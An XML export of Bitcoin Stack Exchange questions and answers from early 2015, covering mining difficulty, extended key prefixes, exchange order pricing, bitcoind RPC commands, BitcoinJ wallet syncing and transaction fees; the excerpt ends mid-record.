  <row Id="34245" PostTypeId="1" AcceptedAnswerId="34246" CreationDate="2015-01-01T03:04:53.147" Score="4" ViewCount="432" Body="&lt;p&gt;Right now the network difficulty for mining is &lt;code&gt;40640955016.576&lt;/code&gt;. And, according to blockexplorer.com, the current odds of finding a block for any given hash is &lt;code&gt;0.0000000000000000000057288784391318092718842084135055792&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how is the &quot;difficulty&quot; and the odds of finding a block related? Obviously a difficulty of ~4 billion does not mean there's a 1 in 4 billion chance of finding a block (any modern ASIC miner could find a block in a heartbeat). So what does it mean exactly and how does difficulty and odds relate? And how can one calculate the odds based on the difficulty?&lt;/p&gt;&#xA;" OwnerUserId="18783" LastEditorUserId="5406" LastEditDate="2016-03-16T10:22:39.110" LastActivityDate="2016-03-16T10:22:39.110" Title="How Does Network Difficulty Relate to the Odds of Finding a Block?" Tags="|block|difficulty|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34246" PostTypeId="2" ParentId="34245" CreationDate="2015-01-01T03:43:09.317" Score="4" Body="&lt;p&gt;The difficulty is calculated in multiples of difficulty 1, which is defined as a probability of a single hash to be valid of 1/(2^32), i.e., in expectation one PoW is found by iterating through all 2^32 possible nonce values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So given a difficulty of 40640955016.576 we have a probability for a single hash to be a valid PoW of 1/(2^32*40640955016.576). This in turn results in the &lt;a href=&quot;http://www.wolframalpha.com/input/?i=1%2F(2%5E32*40640955016.576)&quot; rel=&quot;nofollow&quot;&gt;~5.72e-21&lt;/a&gt; given by blockexplorer.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2015-01-01T03:43:09.317" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34247" PostTypeId="2" ParentId="34244" CreationDate="2015-01-01T04:25:06.847" Score="2" Body="&lt;p&gt;A lessor, in general, is a person who leases a property to another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NXT allows you to &lt;a href=&quot;http://wiki.nxtcrypto.org/wiki/Account_Leasing&quot; rel=&quot;nofollow&quot;&gt;&quot;lease&quot; your forging ability to someone else.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;code&gt;getAccountLessors&lt;/code&gt; gets a list of people who have leased their forging power to your account.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-01-01T04:25:06.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34248" PostTypeId="2" ParentId="28380" CreationDate="2015-01-01T09:03:14.383" Score="5" Body="&lt;p&gt;I can not tell you really how you generate them, but to partially answer your question, here is a list of known Bitcoin and Altcoin prefixes, including Litecoin and Darkcoin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EXT_SECRET_KEY, EXT_PUBLIC_KEY # Network                 : Prefixes&#xA;----------------------------------------------------------------------&#xA;0x0488ADE4,     0x0488B21E     # BTC  Bitcoin    mainnet : xprv / xpub&#xA;0x04358394,     0x043587CF     # BTC  Bitcoin    testnet : tprv / tpub&#xA;0x019D9CFE,     0x019DA462     # LTC  Litecoin   mainnet : Ltpv / Ltub&#xA;0x0436EF7D,     0x0436F6E1     # LTC  Litecoin   testnet : ttpv / ttub&#xA;0x02FE52F8,     0x02FE52CC     # DRK  Darkcoin   mainnet : drkv / drkp&#xA;0x3A8061A0,     0x3A805837     # DRK  Darkcoin   testnet : DRKV / DRKP&#xA;0x0488ADE4,     0x0488B21E     # VIA  Viacoin    mainnet : xprv / xpub&#xA;0x04358394,     0x043587CF     # VIA  Viacoin    testnet : tprv / tpub&#xA;0x02FAC398,     0x02FACAFD     # DOGE Dogecoin   mainnet : dgpv / dgub&#xA;0x0488ADE4,     0x0488B21E     # VTC  Vertcoin   mainnet : vtcv / vtcp&#xA;0x02CFBF60,     0x02CFBEDE     # BC   Blackcoin  mainnet : bcpv / bcpb&#xA;0x03A04DB7,     0x03A04D8B     # MEC  Megacoin   mainnet : mecv / mecp&#xA;0x0488ADE4,     0x0488B21E     # MYR  Myriadcoin mainnet : myrv / myrp&#xA;0x0488ADE4,     0x0488B21E     # UNO  Unobtanium mainnet : unov / unop&#xA;0x037A6460,     0x037A689A     # JBS  Jumbucks   mainnet : jprv / jpub&#xA;0x0488ADE4,     0x0488B21E     # MZC  Mazacoin   mainnet : xprv / xpub&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've taken them from the pycoin api implementation which supports HD wallets.&#xA;&lt;a href=&quot;https://github.com/richardkiss/pycoin/blob/master/pycoin/networks.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/richardkiss/pycoin/blob/master/pycoin/networks.py&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6441" LastEditorUserId="97046" LastEditDate="2019-07-20T22:37:30.930" LastActivityDate="2019-07-20T22:37:30.930" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="34250" PostTypeId="2" ParentId="10395" CreationDate="2015-01-01T11:05:43.870" Score="0" Body="&lt;p&gt;Try &lt;a href=&quot;https://blockonomics.co&quot; rel=&quot;nofollow&quot;&gt;https://blockonomics.co&lt;/a&gt; , you can easily track the balance of your address. You can also label your addresses and get email notifications on credits/ debits&lt;/p&gt;&#xA;" OwnerUserId="21710" LastActivityDate="2015-01-01T11:05:43.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34251" PostTypeId="2" ParentId="32813" CreationDate="2015-01-01T11:45:45.630" Score="2" Body="&lt;p&gt;First to clarify:&lt;br&gt;&#xA;Two competing blocks at the &lt;strong&gt;same height&lt;/strong&gt; that build on the &lt;strong&gt;same parent block&lt;/strong&gt; always have the &lt;strong&gt;same amount of proof of work&lt;/strong&gt;, as that depends on the difficulty, which will be the same for both competitors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, a chain reorganization will only occur in practice if a competing chain tip pulls ahead of a previously accepted chain tip by accumulating a greater length.&lt;sup&gt;*&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Core stores competing blocks it receives as a sidebranch, if the headers would potentially make it the best chain. Otherwise it discards them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When chain reorganization occurs, Bitcoin Core will undo each block from the tip one at a time, reverting back to the common ancestor with the new best chain, then will apply the blocks in the new best chain one at a time until it is at the new tip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;* It is possible to construct a case around a difficulty change where competing chain tips have different difficulties at the same height. Then, the one with the higher difficulty would replace the one with lower difficulty at the same height. However, that would require a chain split of more than one block length.&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2019-04-22T02:21:57.703" LastActivityDate="2019-04-22T02:21:57.703" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="34252" PostTypeId="1" AcceptedAnswerId="34255" CreationDate="2015-01-02T02:56:01.107" Score="1" ViewCount="95" Body="&lt;p&gt;Say I want to make a money exchange to sell a small amount of Bitcoin for USD (I've not done this before). I notice a few things that I am not sure I understand when I visited btc-e.com. There are two boxes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Amount BTC&lt;/strong&gt; (is initially blank)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Price per BTC&lt;/strong&gt; (looks like it is set to the Highest Bid Price when the page first loads but doesn't get updated).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Will the 2nd box effect how / if the order gets filled?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I want to sell as I say then shouldn't the 2nd box be set to a lower price in USD so that they sell quicker? Or say I wanted to put the 2nd box to a value in USD that is higher than the highest bid then will it take longer (or never) to be filled?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact that the price in the 2nd box doesn't get updated and is editable seams weird; as I thought it was the spread. What if you left the page open for ages and then hit sell? Surly there would be a totally useless order on the book!?&lt;/p&gt;&#xA;" OwnerUserId="14316" LastActivityDate="2015-01-02T05:56:08.073" Title="BTCe setting price per BTC" Tags="|exchanges|btce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34254" PostTypeId="2" ParentId="17690" CreationDate="2015-01-02T04:30:59.990" Score="3" Body="&lt;p&gt;Testnet3 bitcoins in &lt;a href=&quot;http://faucet.luis.im&quot; rel=&quot;nofollow&quot;&gt;http://faucet.luis.im&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Active as of December 2015.&lt;/p&gt;&#xA;" OwnerUserId="21031" LastEditorUserId="21031" LastEditDate="2015-12-28T00:47:06.703" LastActivityDate="2015-12-28T00:47:06.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34255" PostTypeId="2" ParentId="34252" CreationDate="2015-01-02T05:56:08.073" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Will the 2nd box effect how / if the order gets filled?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. The order can't be filled until there's crossing offer in the other direction.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If I want to sell as I say then shouldn't the 2nd box be set to a lower price in USD so that they sell quicker? Or say I wanted to put the 2nd box to a value in USD that is higher than the highest bid then will it take longer (or never) to be filled?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It depends what's more important to you, selling quickly or getting the highest possible price (but possibly never selling at all).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The fact that the price in the 2nd box doesn't get updated and is editable seams weird; as I thought it was the spread.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can place an offer to buy or sell at any price you want.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What if you left the page open for ages and then hit sell? Surly there would be a totally useless order on the book!?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Well, not necessarily. Someone might want to buy more coins than are available at a price closer to the market price and might have to take offers a bit outside of the normal market price. Some people place offers just in case the price moves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine the price is $300 and nobody places out of market offers. What happens if all the people willing to sell at $300 have their offers taken? There would be no sell offers at all on the books and people willing to sell at, say, $325, would lose an opportunity. So there will generally be lots of offers to sell above, and buy below, the current market price.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-01-02T05:56:08.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34256" PostTypeId="1" CreationDate="2015-01-02T07:03:17.630" Score="0" ViewCount="771" Body="&lt;p&gt;Are there any Android Proof of Stake apps that is open source. The peercoin app seems to be a light client. Some of the apps seem to be QT transformed to Android.&lt;/p&gt;&#xA;" OwnerUserId="10736" LastActivityDate="2015-01-03T02:30:50.993" Title="Is there a Android POS full node wallet apps that is open source? An app that can also stake?" Tags="|android|proof-of-stake|open-source|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34258" PostTypeId="1" CreationDate="2015-01-02T07:52:28.947" Score="2" ViewCount="1447" Body="&lt;p&gt;I've been searching for an open-source alternative to blockchain.info's Receive Payments API (&lt;a href=&quot;https://blockchain.info/api/api_receive&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/api/api_receive&lt;/a&gt;). I want to run bitcoind on my own server and have payments handled in my own database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any project in existence that is kept up-to-date with the current version of Bitcoin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searching here, github, and Google has returned me no results.&lt;/p&gt;&#xA;" OwnerUserId="6024" LastEditorUserId="6024" LastEditDate="2015-01-02T08:33:19.177" LastActivityDate="2021-06-25T09:01:21.603" Title="accept bitcoin payments for orders without 3rd party software" Tags="|transactions|bitcoind|api|payment|payment-processors|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34259" PostTypeId="2" ParentId="23197" CreationDate="2015-01-02T09:36:28.910" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://qoinpro.com/&quot; rel=&quot;nofollow&quot;&gt;QOINPro&lt;/a&gt; is an online wallet for around 10 cryptocurrencies including Bitcoin, Litecoin and Dogecoin. Additionally, they award coins daily just for being signed up. It's not much, but something while they don't charge anything.&lt;/p&gt;&#xA;" OwnerUserId="21718" LastEditorUserId="5406" LastEditDate="2015-01-03T11:27:15.623" LastActivityDate="2015-01-03T11:27:15.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34260" PostTypeId="2" ParentId="32528" CreationDate="2015-01-02T14:38:31.373" Score="7" Body="&lt;p&gt;Go to the top left, click File then receiving or sending addresses. There, you can create new adresses and look at your current addresses.&lt;/p&gt;&#xA;" OwnerUserId="21719" LastEditorUserId="2306" LastEditDate="2015-01-02T19:09:21.600" LastActivityDate="2015-01-02T19:09:21.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34261" PostTypeId="2" ParentId="11678" CreationDate="2015-01-02T15:08:46.233" Score="1" Body="&lt;p&gt;Receive first, mix later. Assuming that you are sufficiently clever to create a new bitcoin address (or multiple) to receive the bitcoins, and to secretly pass that bitcoin address to your friend (TOR, PGP, on paper) then the transaction cannot be linked to you. Next you use a mixer to make sure that any subsequent transactions cannot be linked to the initial transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a mixing service to perform transactions for you is a risk for both you and your friend, as law enforcement could be monitoring the service, and the mixing service could screw up. In both cases, the relationship with your friend would be compromised. Mixing your own bitcoins is much less risky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your friend could mix his own bitcoins, if he cares about his privacy.&lt;/p&gt;&#xA;" OwnerUserId="21720" LastActivityDate="2015-01-02T15:08:46.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34262" PostTypeId="1" CreationDate="2015-01-02T18:43:18.620" Score="0" ViewCount="251" Body="&lt;p&gt;I added a Wallet instance to PeerGroup instance and executed downloadBlockChain() method. Now if I add a key(s) to that wallet, do I have to execute downloadBlockChain() again to get a current balance including a new key or will it show a right balance automatically, assuming the new key has some balance?&lt;/p&gt;&#xA;" OwnerUserId="21723" LastEditorUserId="2306" LastEditDate="2015-01-02T19:05:04.487" LastActivityDate="2015-02-01T20:47:00.530" Title="In BitcoinJ, do I need to run downloadBlockChain() again after adding a new key?" Tags="|bitcoinj|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34263" PostTypeId="2" ParentId="34262" CreationDate="2015-01-02T20:41:11.727" Score="1" Body="&lt;p&gt;Yes. You must call &lt;code&gt;clearTransactions(0)&lt;/code&gt; on the Wallet, followed by &lt;code&gt;downloadBlockChain()&lt;/code&gt; on the PeerGroup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitcoinJ is a thin client, meaning it doesn't download transactions for addresses that aren't in its wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoinj.github.io/working-with-the-wallet#replaying-the-chain&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinj.github.io/working-with-the-wallet#replaying-the-chain&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-01-02T20:41:11.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34265" PostTypeId="2" ParentId="34179" CreationDate="2015-01-03T00:53:30.740" Score="1" Body="&lt;p&gt;Factom provides a general purpose data layer secured by the Bitcoin blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Factom is a protocol run by a set of Federated Servers that allow users and applications to create their own &quot;chains&quot; of entries, which are really just whatever data the users and applications wish to track.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Factom then secures those chains by hashing them together with all the other data from other users, and a single hash is written to the Bitcoin Blockchain every 10 minutes.  Once data is entered into Factom, it cannot be changed, modified, reordered, or deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to look at Factom is that it allows applications and users to create whatever data structures they need, then secure those structures with the blockchain.   So Factom provides a way to create audit trails that cannot be modified in any way.  Or ways of insuring entries in databases are both 1) secure, and 2) entered on a certain date.   Ways of creating audit trails for traditional banking that are as transparent and unalterable, and secure as the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the history cannot be modified, Factom provides some interesting security features.  Identities can be verified and validated, and secured by time; nobody can insert a fake identity into the past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The use cases are many, and go far beyond copyright.&lt;/p&gt;&#xA;" OwnerUserId="3528" LastActivityDate="2015-01-03T00:53:30.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34266" PostTypeId="1" AcceptedAnswerId="34267" CreationDate="2015-01-03T01:18:34.487" Score="0" ViewCount="17436" Body="&lt;p&gt;I'm familiar with the basic RPC commands, but I'm having trouble retrieving/adding an address to a wallet, using purely RPC calls (i.e. bitcoind only, not bitcoin-qt).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding is that addresses are associated with accounts, but I'm unsure what role &quot;accounts&quot; play, and how to create new ones etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In pseudocode, this is what I want to be able to do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (count(getAddressesByLabel(&quot;donations&quot;)) == 0) {&#xA;    address = wallet.createBitcoinAddress();&#xA;    address.setLabel(&quot;donations&quot;);&#xA;}&#xA;&#xA;donationAddress = getAddressesByLabel(&quot;donations&quot;))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10750" LastEditorUserId="10750" LastEditDate="2015-01-03T01:23:47.390" LastActivityDate="2018-07-30T22:42:57.390" Title="How to get a wallet address and set label via RPC?" Tags="|wallet|bitcoind|address|json-rpc|address-generation|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34267" PostTypeId="2" ParentId="34266" CreationDate="2015-01-03T01:47:34.017" Score="6" Body="&lt;p&gt;You may have already read this, but make sure you read this if you want to know about how the accounts feature of the core client works: &lt;a href=&quot;https://en.bitcoin.it/wiki/Accounts_explained&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Accounts_explained&lt;/a&gt;. (It's somewhat of a legacy feature.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you looking to be able to do this manually with the RPC methods, or automated? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For manually, do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli getaddressesbyaccount &quot;donations&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the JSON array returned is empty, then no address is associated. To create a new bitcoin address with that label, do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli getnewaddress &quot;donations&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get an address for the &quot;donations&quot; account, do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli getaccountaddress &quot;donations&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-01-03T01:47:34.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34268" PostTypeId="2" ParentId="34256" CreationDate="2015-01-03T02:30:50.993" Score="1" Body="&lt;p&gt;I think the short answer is no, there isn't an Android full node app. Being a full node would requiring downloading and storing the entire block chain, and that is too much data for mobile devices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know of any mobile wallets that stake. And you are right that many of the apps are just the QT code transformed to Java. I think it was done this way on purpose so as to ensure that the two references are bug-for-bug compatible. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-01-03T02:30:50.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34269" PostTypeId="2" ParentId="23197" CreationDate="2015-01-03T13:47:40.683" Score="2" Body="&lt;p&gt;The wallet that I develop, &lt;a href=&quot;http://coinomi.com&quot; rel=&quot;nofollow&quot;&gt;Coinomi&lt;/a&gt;, has a &lt;em&gt;core&lt;/em&gt; library (java based) that could be used to host 9 cryptocurrencies at the moment. The private keys are always stored on the client and not on the Electrum servers that it uses to update it's state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently you need to include it in your java project but it is possible to create a JSON API to be language agnostic, it just needs some development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/Coinomi/coinomi-android&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Coinomi/coinomi-android&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13746" LastActivityDate="2015-01-03T13:47:40.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34270" PostTypeId="1" AcceptedAnswerId="34271" CreationDate="2015-01-03T16:31:49.387" Score="2" ViewCount="791" Body="&lt;p&gt;Yesterday I made a transaction from my one btc address to another by using pybitcointools library for blockchain api. I made a mistake by making input value 10x times higher than output value.&#xA;So I have a quesiton: Is that input minus output value treated as fee now, or can I restore it back in some way ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is link transaction history ( only 1 transaction ) where you can see what's going on : &lt;a href=&quot;https://blockchain.info/address/1Fno6XBjLbEq53oTG6MWw1X1vA2hbyaLPh?format=json&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/1Fno6XBjLbEq53oTG6MWw1X1vA2hbyaLPh?format=json&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and here is transaction's blockchain link:&#xA;&lt;a href=&quot;https://blockchain.info/tx/d80feae624c18067044e1bca0917bdb0c42f81ff1e7b9b2febacfced1ed7f691&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/d80feae624c18067044e1bca0917bdb0c42f81ff1e7b9b2febacfced1ed7f691&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21732" LastEditorUserId="2306" LastEditDate="2015-01-03T17:35:05.203" LastActivityDate="2015-01-03T17:35:05.203" Title="Transaction input bigger than output" Tags="|transactions|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34271" PostTypeId="2" ParentId="34270" CreationDate="2015-01-03T16:42:54.383" Score="5" Body="&lt;p&gt;Yes, the difference between the input and the output is the transaction fee, and there's no way for you to get it back once it has been mined (except for building a fork that results in a stronger chain---not likely unless you have &gt;50% of network hash rate).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the future, I highly recommend experimenting on testnet (&lt;code&gt;bitcoind -testnet&lt;/code&gt;) or using &lt;a href=&quot;https://bitcoin.org/en/developer-examples#regtest-mode&quot; rel=&quot;noreferrer&quot;&gt;regtest mode&lt;/a&gt;.  That way you don't lose any wealth when you make a mistake.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-01-03T16:42:54.383" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34273" PostTypeId="2" ParentId="14448" CreationDate="2015-01-03T17:35:29.377" Score="1" Body="&lt;p&gt;Even if mining becomes more centralized, it would seem unlikely that miners would turn into banks: Their only advantage at shaping payments is that they may delay transactions by not including them in the block, so there doesn't seem a direct incentive to progress to banking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, payment processors and bank-like entities would have an incentive to foster mining efforts, as their business concept directly profits from a secure network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, banks should be interesting in paying for mining, but not vice versa.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-01-03T17:35:29.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34275" PostTypeId="1" CreationDate="2015-01-04T02:52:21.857" Score="6" ViewCount="970" Body="&lt;p&gt;What is the correct way to prevent Floating Point Precision errors when displaying bitcon values in javascript? I've seen many answers on the topic, but they all seem to have their drawbacks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's what I've tried:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've chosen to store bitcoin values in satoshis, then simply convert to float on the front end using simple math. Is this correct? I'm trying to avoid float precision errors. It seems to work as intended when testing with a calculator as reference, but I would love to know for sure. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var units = {&#xA;&#xA;    // In satoshis&#xA;    coin: 100000000,&#xA;&#xA;    format_to: function(val) {&#xA;        // 1 BTC = 10^8 Satoshis&#xA;        return (val / units.coin).toFixed(8);&#xA;    },&#xA;&#xA;    format_from: function(val) {&#xA;        // Parse the string as float the multiply * coin.&#xA;        return (parseFloat(val) * units.coin);&#xA;    }&#xA;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12447" LastEditorUserId="18196" LastEditDate="2015-01-05T01:03:00.190" LastActivityDate="2015-02-16T05:57:53.297" Title="Prevent rounding errors when displaying bitcoin values in javascript" Tags="|javascript|precision|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34277" PostTypeId="1" CreationDate="2015-01-04T17:31:58.040" Score="1" ViewCount="4201" Body="&lt;p&gt;I was given an actual casascius bitcoin minted in 2011 as a tip, and I'd like to know where I can exchange it for US dollars. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I extract the private key from this coin to gain access to the digital bitcoins if I were to sell them online?&lt;/p&gt;&#xA;" OwnerUserId="21748" LastEditorUserId="5406" LastEditDate="2015-01-10T00:15:15.153" LastActivityDate="2015-01-10T00:15:15.153" Title="I have a casascius coin -- how can I sell it?" Tags="|sell-bitcoins|physical-coins|" AnswerCount="1" CommentCount="4" ClosedDate="2015-01-10T00:17:41.353" ContentLicense="CC BY-SA 3.0" />
  <row Id="34279" PostTypeId="2" ParentId="3875" CreationDate="2015-01-04T18:26:54.887" Score="2" Body="&lt;p&gt;There's a dedicated C-library for this curve. This is probably the most widely scrutinized library, and it probably has the best performance. Wrappers for other languages are available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/secp256k1&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/secp256k1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3347" LastActivityDate="2015-01-04T18:26:54.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34280" PostTypeId="2" ParentId="34277" CreationDate="2015-01-04T18:45:22.540" Score="3" Body="&lt;p&gt;You have two routes here:&lt;/p&gt;&#xA;&lt;h3&gt;Sell the physical Bitcoin&lt;/h3&gt;&#xA;&lt;p&gt;Don't remove the sticker on the back. Use a website like &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/13117/how-do-i-buy-bitcoins-safely-face-to-face&quot;&gt;localbitcoins&lt;/a&gt; to sell it to someone near you.&lt;/p&gt;&#xA;&lt;p&gt;Some people might want a physical Bitcoin, especially since they're not being made anymore.&lt;/p&gt;&#xA;&lt;h3&gt;Sell the Bitcoin 'contained' within the physical coin.&lt;/h3&gt;&#xA;&lt;p&gt;Peel off the sticker on the back. Inside will be a code that lets you spend the Bitcoin. (I recommend using &lt;a href=&quot;https://blockchain.info/wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blockchain.info&lt;/a&gt; as your e-wallet.) You can sell the Bitcoin &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/12419/good-way-to-sell-bitcoins-online&quot;&gt;online&lt;/a&gt; or &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/13117/how-do-i-buy-bitcoins-safely-face-to-face&quot;&gt;locally&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The remaining brass part is mostly worthless.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-01-04T18:45:22.540" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34281" PostTypeId="1" CreationDate="2015-01-04T19:28:21.627" Score="3" ViewCount="1564" Body="&lt;p&gt;I just found out today that all those websites I go to to earn like .0000087 for clicking around here and there have now in a way corrupted my wallet as yesterday I deposited 50$ into my wallet and when I try to transfer it to make a payment to another wallet, no matter what I get transaction fees. How can I clean my wallet of this dust. I know there is a program out there that claims to rid yourself of this dust, but there is no real directions on how to use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is three parts&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there a client/wallet that allows you to transfer out of certain incoming transactions?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there an easy way to clean the wallet now that it has this dust?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If I transfer everything in the wallet will it clean the wallet? And if so does the wallet I transferred to now have the issue with the dust, does the dust transfer?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="21749" LastEditorUserId="2306" LastEditDate="2015-01-04T21:19:48.047" LastActivityDate="2015-01-04T22:00:16.967" Title="Is there an easy way to consolidate Dust Microtransactions" 